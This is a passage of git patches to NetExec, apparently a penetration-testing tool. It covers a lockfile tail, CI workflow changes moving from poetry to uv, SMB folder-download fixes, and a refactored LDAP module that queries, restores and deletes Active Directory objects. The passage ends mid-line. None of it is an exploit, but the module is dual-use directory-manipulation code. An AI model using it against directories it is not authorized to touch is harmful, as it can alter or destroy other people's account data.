"sha256:8dab68e994d24a08f854d36ac96409b3b8cc03fdebc590925f76f9d733c3a902", size = 475882, upload-time = "2025-12-03T00:30:23.403Z" }, + { url = "https://files.pythonhosted.org/packages/7b/0d/7746ade4e3c4dba6c6d9b2afe3c3903f4bcab2da6b300b5d81afee089196/sspilib-0.5.0-cp310-cp310-win_amd64.whl", hash = "sha256:9e1947df07110ee1861009fc117bd089a7710403f3f5c488fb52a6e00b7c5b84", size = 563068, upload-time = "2025-12-03T00:30:24.605Z" }, + { url = "https://files.pythonhosted.org/packages/8d/fb/6821418037e9d78179153e770e2b0280956f28f4bf51069dcbcc0348505d/sspilib-0.5.0-cp310-cp310-win_arm64.whl", hash = "sha256:28d0eb944f7ff70bc99fe729d06fa230aec1649c5bc216809e359cd0c77d4840", size = 486370, upload-time = "2025-12-03T00:30:26.21Z" }, + { url = "https://files.pythonhosted.org/packages/ce/1b/dd9066491168933b0f7ab6e396ac58cc024c8954e95264c38e3dc9363d7c/sspilib-0.5.0-cp311-abi3-win32.whl", hash = "sha256:fcb57b41b3200ef2e6e8846e2a13799d20b35b796267f2f75cc65e3883e8eeb6", size = 451246, upload-time = "2025-12-03T00:30:36.685Z" }, + { url = "https://files.pythonhosted.org/packages/17/6a/a11abf90172ff580ac2f9ade3496d868e05e851c4ecf487dd5baeb966b1d/sspilib-0.5.0-cp311-abi3-win_amd64.whl", hash = "sha256:ca2a21a4e90db563c2cec639c66b3a29ea53129a0c55ff1e4154a02937f6bd45", size = 540777, upload-time = "2025-12-03T00:30:38.44Z" }, + { url = "https://files.pythonhosted.org/packages/45/05/983876d281b9e7926f1c9126e72de8bd5928b1de45433163f54d4e217502/sspilib-0.5.0-cp311-abi3-win_arm64.whl", hash = "sha256:6893bad16f122fc3c4bd908461b9728694465c05ca97c22f7e2094791c4ee3cb", size = 470353, upload-time = "2025-12-03T00:30:39.63Z" }, + { url = "https://files.pythonhosted.org/packages/43/f8/34e8e86883054b961c2eb88a5b42b89b2bf975723b1acca090966c2d03ff/sspilib-0.5.0-cp314-cp314t-win32.whl", hash = "sha256:9dad272abf3f4cf0bf95d495075d2987f6ba1fb300f8d603661ccac07d11272f", size = 567408, upload-time = "2025-12-03T00:30:48.723Z" }, + { url = "https://files.pythonhosted.org/packages/c4/d8/8c4ba75f925fd9651cb855c47e0e67931a175d6fd41e569193a8d58133ac/sspilib-0.5.0-cp314-cp314t-win_amd64.whl", hash = "sha256:7d7724d5dbb31f68e62465863dfb862fe2793281ce40d0c8f2dc60c8f07998f2", size = 690291, upload-time = "2025-12-03T00:30:49.929Z" }, + { url = "https://files.pythonhosted.org/packages/74/c3/07af17b6fcc2b02af294a8817e30441a502880a04c8d60be2d71e0a1eacc/sspilib-0.5.0-cp314-cp314t-win_arm64.whl", hash = "sha256:8ce23ec740dee025136370ed4ae64b7d1535368321049ef960012a57c93ebe15", size = 534304, upload-time = "2025-12-03T00:30:51.348Z" }, +] + +[[package]] +name = "tabulate" +version = "0.10.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/46/58/8c37dea7bbf769b20d58e7ace7e5edfe65b849442b00ffcdd56be88697c6/tabulate-0.10.0.tar.gz", hash = "sha256:e2cfde8f79420f6deeffdeda9aaec3b6bc5abce947655d17ac662b126e48a60d", size = 91754, upload-time = "2026-03-04T18:55:34.402Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/99/55/db07de81b5c630da5cbf5c7df646580ca26dfaefa593667fc6f2fe016d2e/tabulate-0.10.0-py3-none-any.whl", hash = "sha256:f0b0622e567335c8fabaaa659f1b33bcb6ddfe2e496071b743aa113f8774f2d3", size = 39814, upload-time = "2026-03-04T18:55:31.284Z" }, +] + +[[package]] +name = "termcolor" +version = "3.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/46/79/cf31d7a93a8fdc6aa0fbb665be84426a8c5a557d9240b6239e9e11e35fc5/termcolor-3.3.0.tar.gz", hash = "sha256:348871ca648ec6a9a983a13ab626c0acce02f515b9e1983332b17af7979521c5", size = 14434, upload-time = "2025-12-29T12:55:21.882Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/33/d1/8bb87d21e9aeb323cc03034f5eaf2c8f69841e40e4853c2627edf8111ed3/termcolor-3.3.0-py3-none-any.whl", hash = "sha256:cf642efadaf0a8ebbbf4bc7a31cec2f9b5f21a9f726f4ccbb08192c9c26f43a5", size = 7734, upload-time = "2025-12-29T12:55:20.718Z" }, +] + +[[package]] +name = "terminaltables3" +version = "4.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/55/9b/9abd7feb0cf552061cfa452c22773f3158cdad877ad5623f13edfa07116f/terminaltables3-4.0.0.tar.gz", hash = "sha256:4e3eefe209aa89005a0a34d1525739424569729ee29b5e64a8dd51c5ebdab77f", size = 12777, upload-time = "2024-07-21T17:07:26.223Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ea/66/6053d908e5789877ee702c102935634961a731e3db7d1caa2f1201a99598/terminaltables3-4.0.0-py3-none-any.whl", hash = "sha256:93b4c722f35400a7869cd630e2bbab616b129d1c47c628765c7f47baab2ca270", size = 15806, upload-time = "2024-07-21T17:07:24.85Z" }, +] + +[[package]] +name = "tqdm" +version = "4.67.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/09/a9/6ba95a270c6f1fbcd8dac228323f2777d886cb206987444e4bce66338dd4/tqdm-4.67.3.tar.gz", hash = "sha256:7d825f03f89244ef73f1d4ce193cb1774a8179fd96f31d7e1dcde62092b960bb", size = 169598, upload-time = "2026-02-03T17:35:53.048Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/16/e1/3079a9ff9b8e11b846c6ac5c8b5bfb7ff225eee721825310c91b3b50304f/tqdm-4.67.3-py3-none-any.whl", hash = "sha256:ee1e4c0e59148062281c49d80b25b67771a127c85fc9676d3be5f243206826bf", size = 78374, upload-time = "2026-02-03T17:35:50.982Z" }, +] + +[[package]] +name = "typing-extensions" +version = "4.15.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" }, +] + +[[package]] +name = "typing-inspection" +version = "0.4.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/55/e3/70399cb7dd41c10ac53367ae42139cf4b1ca5f36bb3dc6c9d33acdb43655/typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464", size = 75949, upload-time = "2025-10-01T02:14:41.687Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/dc/9b/47798a6c91d8bdb567fe2698fe81e0c6b7cb7ef4d13da4114b41d239f65d/typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7", size = 14611, upload-time = "2025-10-01T02:14:40.154Z" }, +] + +[[package]] +name = "unicrypto" +version = "0.0.12" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pycryptodomex" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/26/80/3bdb8a8677a190be548c86e9247c5949ca0c9bc96e1b42c9ac9accf6681e/unicrypto-0.0.12.tar.gz", hash = "sha256:7b7fc4f54d56422abbbc41f863f99b27a8674531f4a42003f3f953e4a722bde1", size = 73115, upload-time = "2025-10-29T07:54:57.895Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f4/1c/9964cd41f3240cfcc33076f49565d583033a5628f1804bf3de7ea3d2f6bc/unicrypto-0.0.12-py3-none-any.whl", hash = "sha256:6fb7e9bbaa60c49128ad6584201290ead99b703ae834c28911c82ddca38a0d6f", size = 75501, upload-time = "2025-10-29T07:54:56.765Z" }, +] + +[[package]] +name = "urllib3" +version = "2.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/53/0c/06f8b233b8fd13b9e5ee11424ef85419ba0d8ba0b3138bf360be2ff56953/urllib3-2.7.0.tar.gz", hash = "sha256:231e0ec3b63ceb14667c67be60f2f2c40a518cb38b03af60abc813da26505f4c", size = 433602, upload-time = "2026-05-07T16:13:18.596Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7f/3e/5db95bcf282c52709639744ca2a8b149baccf648e39c8cc87553df9eae0c/urllib3-2.7.0-py3-none-any.whl", hash = "sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897", size = 131087, upload-time = "2026-05-07T16:13:17.151Z" }, +] + +[[package]] +name = "wcwidth" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/2c/ee/afaf0f85a9a18fe47a67f1e4422ed6cf1fe642f0ae0a2f81166231303c52/wcwidth-0.7.0.tar.gz", hash = "sha256:90e3a7ea092341c44b99562e75d09e4d5160fe7a3974c6fb842a101a95e7eed0", size = 182132, upload-time = "2026-05-02T16:04:12.653Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/41/52/e465037f5375f43533d1a80b6923955201596a99142ed524d77b571a1418/wcwidth-0.7.0-py3-none-any.whl", hash = "sha256:5d69154c429a82910e241c738cd0e2976fac8a2dd47a1a805f4afed1c0f136f2", size = 110825, upload-time = "2026-05-02T16:04:11.033Z" }, +] + +[[package]] +name = "werkzeug" +version = "3.1.8" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markupsafe" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/dd/b2/381be8cfdee792dd117872481b6e378f85c957dd7c5bca38897b08f765fd/werkzeug-3.1.8.tar.gz", hash = "sha256:9bad61a4268dac112f1c5cd4630a56ede601b6ed420300677a869083d70a4c44", size = 875852, upload-time = "2026-04-02T18:49:14.268Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/93/8c/2e650f2afeb7ee576912636c23ddb621c91ac6a98e66dc8d29c3c69446e1/werkzeug-3.1.8-py3-none-any.whl", hash = "sha256:63a77fb8892bf28ebc3178683445222aa500e48ebad5ec77b0ad80f8726b1f50", size = 226459, upload-time = "2026-04-02T18:49:12.72Z" }, +] + +[[package]] +name = "winacl" +version = "0.1.9" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cryptography" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/23/fc/70784bbc5521a4a59c78dea0050e1478d67b2e77a54abcc5aa5f835faaf5/winacl-0.1.9.tar.gz", hash = "sha256:af70c2ec30178bf9e3c8a1c48c25e8781235fe2c1b321adb46e2f2ae1f8d4aab", size = 81777, upload-time = "2024-05-06T07:23:15.729Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/64/82/9be45ef89488ad87870da83271cb734f410373ca86dde76d6907d74cf0e0/winacl-0.1.9-py3-none-any.whl", hash = "sha256:31ba781a35f3b1bd3c2ece994816c0a5fe113c73018689ab6118010ac0d15099", size = 89218, upload-time = "2024-05-06T07:23:14.411Z" }, +] + +[[package]] +name = "xmltodict" +version = "1.0.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/19/70/80f3b7c10d2630aa66414bf23d210386700aa390547278c789afa994fd7e/xmltodict-1.0.4.tar.gz", hash = "sha256:6d94c9f834dd9e44514162799d344d815a3a4faec913717a9ecbfa5be1bb8e61", size = 26124, upload-time = "2026-02-22T02:21:22.074Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/38/34/98a2f52245f4d47be93b580dae5f9861ef58977d73a79eb47c58f1ad1f3a/xmltodict-1.0.4-py3-none-any.whl", hash = "sha256:a4a00d300b0e1c59fc2bfccb53d7b2e88c32f200df138a0dd2229f842497026a", size = 13580, upload-time = "2026-02-22T02:21:21.039Z" }, +] From 468c8efe8b7d5fd83c1e615b57d9843503a475ba Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Tue, 19 May 2026 21:17:21 +0200 Subject: [PATCH 035/397] switch to uv Signed-off-by: mpgn <5891788+mpgn@users.noreply.github.com> --- .github/workflows/lint.yml | 22 +++++++++------------- 1 file changed, 9 insertions(+), 13 deletions(-) diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml index 4661533cc0..194a38a790 100644 --- a/.github/workflows/lint.yml +++ b/.github/workflows/lint.yml @@ -14,20 +14,16 @@ jobs: github.event_name == 'push' || github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch' steps: - - uses: actions/checkout@v4 - - name: Install poetry - run: | - pipx install poetry - - name: Set up Python - uses: actions/setup-python@v5 + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1 + - name: Install uv + uses: astral-sh/setup-uv@08807647e7069bb48b6ef5acd8ec9567f424441b # v8.1.0 with: - python-version: 3.13 - cache: poetry - cache-dependency-path: poetry.lock + enable-cache: true + - name: Set up Python + run: uv python install 3.13 - name: Install dependencies with dev group - run: | - poetry install --with dev + run: uv sync --group dev - name: Run ruff run: | - poetry run ruff --version - poetry run ruff check . --preview \ No newline at end of file + uv run ruff --version + uv run ruff check . --preview From 5bc110601e0010f3a8efd74187f1757626b3aa94 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Tue, 19 May 2026 21:18:11 +0200 Subject: [PATCH 036/397] Refactor GitHub Actions to use uv for setup Updated GitHub Actions workflow to use 'uv' for installation and execution. Signed-off-by: mpgn <5891788+mpgn@users.noreply.github.com> --- .github/workflows/test.yml | 45 ++++++++++++++++---------------------- 1 file changed, 19 insertions(+), 26 deletions(-) diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index 289147e581..2306d0cac3 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -16,33 +16,26 @@ jobs: os: [ubuntu-latest] python-version: ["3.10", "3.11", "3.12", "3.13"] steps: - - uses: actions/checkout@v4 - - name: Install poetry - run: | - pipx install poetry - poetry --version - poetry env info - - name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }} - uses: actions/setup-python@v5 + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1 + - name: Install uv + uses: astral-sh/setup-uv@08807647e7069bb48b6ef5acd8ec9567f424441b # v8.1.0 with: - python-version: ${{ matrix.python-version }} - cache: poetry - cache-dependency-path: poetry.lock - - name: Install with pipx - run: | - pipx install . --python python${{ matrix.python-version }} + enable-cache: true + - name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }} + run: uv python install ${{ matrix.python-version }} + - name: Install with uv + run: uv tool install . --python ${{ matrix.python-version }} - name: Install libraries with dev group - run: | - poetry install --with dev + run: uv sync --group dev - name: Load every protocol and module run: | - poetry run netexec winrm 127.0.0.1 - poetry run netexec vnc 127.0.0.1 - poetry run netexec smb 127.0.0.1 - poetry run netexec ldap 127.0.0.1 - poetry run netexec wmi 127.0.0.1 - poetry run netexec rdp 127.0.0.1 - poetry run netexec mssql 127.0.0.1 - poetry run netexec ssh 127.0.0.1 - poetry run netexec ftp 127.0.0.1 - poetry run netexec smb 127.0.0.1 -L + uv run netexec winrm 127.0.0.1 + uv run netexec vnc 127.0.0.1 + uv run netexec smb 127.0.0.1 + uv run netexec ldap 127.0.0.1 + uv run netexec wmi 127.0.0.1 + uv run netexec rdp 127.0.0.1 + uv run netexec mssql 127.0.0.1 + uv run netexec ssh 127.0.0.1 + uv run netexec ftp 127.0.0.1 + uv run netexec smb 127.0.0.1 -L From ebb3da489fc717e5fc94fd16ebb9d963860dec9f Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Tue, 19 May 2026 21:19:59 +0200 Subject: [PATCH 037/397] Simplify dependency installation step in lint workflow Signed-off-by: mpgn <5891788+mpgn@users.noreply.github.com> --- .github/workflows/lint.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml index 194a38a790..a1f0944889 100644 --- a/.github/workflows/lint.yml +++ b/.github/workflows/lint.yml @@ -21,8 +21,8 @@ jobs: enable-cache: true - name: Set up Python run: uv python install 3.13 - - name: Install dependencies with dev group - run: uv sync --group dev + - name: Install dependencies + run: uv sync - name: Run ruff run: | uv run ruff --version From af6bebc362db221f3bfb06ff9c06799f4accc415 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Tue, 19 May 2026 21:20:55 +0200 Subject: [PATCH 038/397] Update lint.yml Signed-off-by: mpgn <5891788+mpgn@users.noreply.github.com> --- .github/workflows/lint.yml | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml index a1f0944889..5b5f9a02b0 100644 --- a/.github/workflows/lint.yml +++ b/.github/workflows/lint.yml @@ -21,9 +21,7 @@ jobs: enable-cache: true - name: Set up Python run: uv python install 3.13 - - name: Install dependencies - run: uv sync - name: Run ruff run: | - uv run ruff --version - uv run ruff check . --preview + uvx ruff --version + uvx ruff check . --preview From 31df9337b32d64e3e3112a1d8538013ac732e66b Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Tue, 19 May 2026 21:22:42 +0200 Subject: [PATCH 039/397] Update test.yml Signed-off-by: mpgn <5891788+mpgn@users.noreply.github.com> --- .github/workflows/test.yml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index 2306d0cac3..52e98ae13b 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -1,5 +1,7 @@ name: NetExec Tests +name: NetExec Tests + on: workflow_dispatch: pull_request_review: @@ -23,10 +25,8 @@ jobs: enable-cache: true - name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }} run: uv python install ${{ matrix.python-version }} - - name: Install with uv - run: uv tool install . --python ${{ matrix.python-version }} - - name: Install libraries with dev group - run: uv sync --group dev + - name: Install project + run: uv sync --python ${{ matrix.python-version }} - name: Load every protocol and module run: | uv run netexec winrm 127.0.0.1 From dfbf2f6be78f1bc819c83e09324a3fa25aef2d7f Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Tue, 19 May 2026 21:24:16 +0200 Subject: [PATCH 040/397] Update lint.yml Signed-off-by: mpgn <5891788+mpgn@users.noreply.github.com> --- .github/workflows/lint.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml index 5b5f9a02b0..64381517d8 100644 --- a/.github/workflows/lint.yml +++ b/.github/workflows/lint.yml @@ -23,5 +23,5 @@ jobs: run: uv python install 3.13 - name: Run ruff run: | - uvx ruff --version - uvx ruff check . --preview + uvx ruff@0.11.0 --version + uvx ruff@0.11.0 check . --preview From 3a0ccbe3968d46f0c7e47edcf2f406cf1e8936b6 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Tue, 19 May 2026 21:30:43 +0200 Subject: [PATCH 041/397] Update test.yml Signed-off-by: mpgn <5891788+mpgn@users.noreply.github.com> --- .github/workflows/test.yml | 2 -- 1 file changed, 2 deletions(-) diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index 52e98ae13b..e1e9003d6c 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -1,7 +1,5 @@ name: NetExec Tests -name: NetExec Tests - on: workflow_dispatch: pull_request_review: From ccf36b492e7253d4a3ecc9c9edce3b9586a0f0ff Mon Sep 17 00:00:00 2001 From: TristanInSec Date: Sat, 23 May 2026 15:52:44 -0400 Subject: [PATCH 042/397] Use display() for sanitization notice so it shows at default verbosity --- nxc/connection.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/connection.py b/nxc/connection.py index 17ff3cfc87..76a1392ee4 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -248,7 +248,7 @@ def proto_flow(self): self.enum_host_info() sanitized = re.sub(r'[^\w\-.]', '_', self.hostname) if sanitized != self.hostname: - self.logger.warning(f"Hostname contains invalid characters (received: {self.hostname!r}), sanitized to: {sanitized!r}") + self.logger.display(f"Hostname contains invalid characters (received: {self.hostname!r}), sanitized to: {sanitized!r}") self.hostname = sanitized # Construct the output file template using os.path.join for OS compatibility From 9c4ad7fc394ee97decd0d797d2f97b1d2a74a4ca Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Sat, 23 May 2026 19:47:47 -0400 Subject: [PATCH 043/397] fix(smb): recursively download folders by default --- nxc/protocols/smb/proto_args.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 5c52d1b79c..f3cc4989a6 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -1,4 +1,4 @@ -from argparse import _StoreTrueAction, _StoreAction +from argparse import BooleanOptionalAction, _StoreTrueAction, _StoreAction from nxc.helpers.args import DisplayDefaultsNotNone, DefaultTrackingAction, get_conditional_action @@ -91,7 +91,7 @@ def proto_args(parser, parents): files_group.add_argument("--put-file", action="append", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt") files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt") files_group.add_argument("--get-folder", action="append", nargs=2, metavar="DIR", help="Get a remote directory, ex: \\\\Windows\\\\Temp\\\\testing testing") - files_group.add_argument("--recursive", default=False, action="store_true", help="Recursively get a folder") + files_group.add_argument("--recursive", default=True, action=BooleanOptionalAction, help="Recursively get a folder") files_group.add_argument("--ignore-empty-folders", default=False, action="store_true", help="Ignore empty folders when downloading") files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename") From e84ca2d510c4ec6f5024f7341507c592d5a059c4 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Sat, 23 May 2026 19:49:21 -0400 Subject: [PATCH 044/397] fix(smb): fix slashes and silent folder download bugs --- nxc/protocols/smb.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index bf51c50c23..89c749e4ba 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -1986,9 +1986,9 @@ def get_file(self): self.get_file_single(src, dest) def download_folder(self, folder, dest, recursive=False, silent=False, base_dir=None, ignore_empty=False): + folder = ntpath.normpath(folder) self.logger.debug(f"Downloading folder with args: {folder}, {dest}, Recursive: {recursive}, Silent: {silent}, Base dir: {base_dir}, Ignore empty: {ignore_empty}") - normalized_folder = ntpath.normpath(folder) - base_folder = os.path.basename(normalized_folder) + base_folder = os.path.basename(folder) self.logger.debug(f"Base folder: {base_folder}") try: @@ -2019,7 +2019,7 @@ def download_folder(self, folder, dest, recursive=False, silent=False, base_dir= if not item_name: self.logger.fail(f"Path traversal detected in '{item.get_longname()}', skipping") continue - dir_path = ntpath.normpath(ntpath.join(normalized_folder, item_name)) + dir_path = ntpath.normpath(ntpath.join(folder, item_name)) self.logger.debug(f"Parsing item: {item_name}, {dir_path}") if item.is_directory() and recursive: @@ -2046,7 +2046,7 @@ def get_folder(self): self.logger.debug(f"Recursive option set to {recursive}") self.logger.debug(f"Ignore empty folders option set to {ignore_empty}") for folder, dest in self.args.get_folder: - self.download_folder(folder, dest, recursive, False, None, ignore_empty) + self.download_folder(folder, dest, recursive, self.args.silent, None, ignore_empty) self.logger.success(f"Folder '{folder}' was downloaded to '{dest}'") def enable_remoteops(self, regsecret=False): From f3a90d9aca0110278a17c2969c1f3cff8f759b45 Mon Sep 17 00:00:00 2001 From: Fabrizzio53 <88493503+Fabrizzio53@users.noreply.github.com> Date: Tue, 26 May 2026 19:27:43 -0300 Subject: [PATCH 045/397] Refactor tombstone refactored the code to return empty sAMAccountName when object does not have this attribute. removed some variables that were not being used, such as opsec, multiple_host and self.__domain. removed internal domain to dn function to now use connection.baseDN. the number of deleted objects should be right now, temporary var is created and incremented for each deleted object found. Signed-off-by: Fabrizzio53 <88493503+Fabrizzio53@users.noreply.github.com> --- nxc/modules/tombstone.py | 69 ++++++++++++++++++++-------------------- 1 file changed, 35 insertions(+), 34 deletions(-) diff --git a/nxc/modules/tombstone.py b/nxc/modules/tombstone.py index d1cc06dbbc..8c2ac9e920 100644 --- a/nxc/modules/tombstone.py +++ b/nxc/modules/tombstone.py @@ -11,8 +11,6 @@ class NXCModule: name = "tombstone" description = "Query, restore and delete AD object" supported_protocols = ["ldap"] - opsec_safe = True - multiple_hosts = False category = CATEGORY.ENUMERATION def __init__(self, context=None, module_options=None): @@ -30,45 +28,42 @@ def options(self, context, module_options): nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=delete DN="CN=test,OU=Users,DC=test,DC=local" nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=query """ - self.action = "query" + self.action = module_options.get("ACTION", "query") self.id = "" self.deleteDN = "" if "ACTION" in module_options: - self.action = module_options["ACTION"] + self.action = module_options.get("ACTION") if "ID" in module_options: self.id = module_options["ID"] if "DN" in module_options: self.deleteDN = module_options["DN"] - if "ACTION" in module_options and self.action == "restore" and "ID" not in module_options: + if "ACTION" in module_options and self.action.lower() == "restore" and "ID" not in module_options: context.log.error("ID is necessary when calling tombstone with the restore action") sys.exit(1) - if "ACTION" in module_options and self.action == "delete" and "DN" not in module_options: + if "ACTION" in module_options and self.action.lower() == "delete" and "DN" not in module_options: context.log.error("DN is necessary when calling tombstone with the delete action") sys.exit(1) def on_login(self, context, connection): - self.__domain = connection.domain self.__sAMAccountName = "" self.__objectDN = "" self.__lastKnownParent = "" - self.__domain = connection.domain self.connection = connection - if self.action == "query": + if self.action.lower() == "query": self.query_deleted_objects(context) - if self.action == "delete": + elif self.action.lower() == "delete": self.delete_object(context, connection) - if self.action == "restore": + elif self.action.lower() == "restore": self.restore_deleted_object(context, connection) - - def domain_to_dn(self, domain): - return ",".join(f"DC={part}" for part in domain.split(".")) + else: + context.log.fail(f'The action "{self.action}" is not valid, use only one available option (query, restore, delete)') def restore_deleted_object(self, context, connection): # ldap DN for deleted objects - dn = "CN=Deleted Objects," + self.domain_to_dn(self.__domain) + dn = f"CN=Deleted Objects,{connection.baseDN}" # LDAP control necessary to show the deleted objects LDAP_SERVER_SHOW_DELETED_OID show_deleted_control = Control() @@ -87,31 +82,32 @@ def restore_deleted_object(self, context, connection): # This check ensures that we skip the result for the Default container and only get the result from the given ID. if "container" in entries["objectClass"] and entries["description"] == "Default container for deleted objects": + continue if self.id == entries["name"].split(":")[1]: - context.log.highlight("Found target!") - context.log.highlight(f"{'sAMAccountName':<20}: {entries['sAMAccountName']}") - context.log.highlight(f"{'dn':<20}: {entries['distinguishedName']}") - context.log.highlight(f"{'ID':<20}: {entries['name'].split(':')[1]}") - context.log.highlight(f"{'isDeleted':<20}: {entries['isDeleted']}") - context.log.highlight(f"{'lastKnownParent':<20}: {entries['lastKnownParent']}") + context.log.highlight(f"{'sAMAccountName':<20}: {entries.get('sAMAccountName', '')}") + context.log.highlight(f"{'dn':<20}: {entries.get('distinguishedName', '')}") + context.log.highlight(f"{'ID':<20}: {entries.get('name', '').split(':')[1]}") + context.log.highlight(f"{'isDeleted':<20}: {entries.get('isDeleted', '')}") + context.log.highlight(f"{'lastKnownParent':<20}: {entries.get('lastKnownParent', '')}") context.log.highlight("") - self.__sAMAccountName = entries["sAMAccountName"] - self.__objectDN = entries["distinguishedName"] - self.__lastKnownParent = entries["lastKnownParent"] + self.__objectDN = entries.get("distinguishedName", "") + self.__lastKnownParent = entries.get("lastKnownParent", "") + object_prefix = self.__objectDN.split("\\")[0] + self.__originalDN = f"{object_prefix},{self.__lastKnownParent}" break - if self.__sAMAccountName == "": + if self.__originalDN == "": context.log.highlight(f"The object was not found with id {self.id}.") return False try: - connection.ldap_connection.modify(dn=self.__objectDN, modifications={"isDeleted": [(MODIFY_DELETE, [])], "distinguishedName": [(MODIFY_REPLACE, [f"CN={self.__sAMAccountName},{self.__lastKnownParent}"])]}, controls=[show_deleted_control]) - context.log.highlight(f'Success "CN={self.__sAMAccountName},{self.__lastKnownParent}" restored') + connection.ldap_connection.modify(dn=self.__objectDN, modifications={"isDeleted": [(MODIFY_DELETE, [])], "distinguishedName": [(MODIFY_REPLACE, [self.__originalDN])]}, controls=[show_deleted_control]) + context.log.highlight(f"Success {self.__originalDN} restored") except LDAPSessionError as e: context.log.fail(f"Error at trying to recover the object {e}") @@ -132,7 +128,7 @@ def delete_object(self, context, connection): def query_deleted_objects(self, context): # ldap DN for deleted objects - dn = "CN=Deleted Objects," + self.domain_to_dn(self.__domain) + dn = 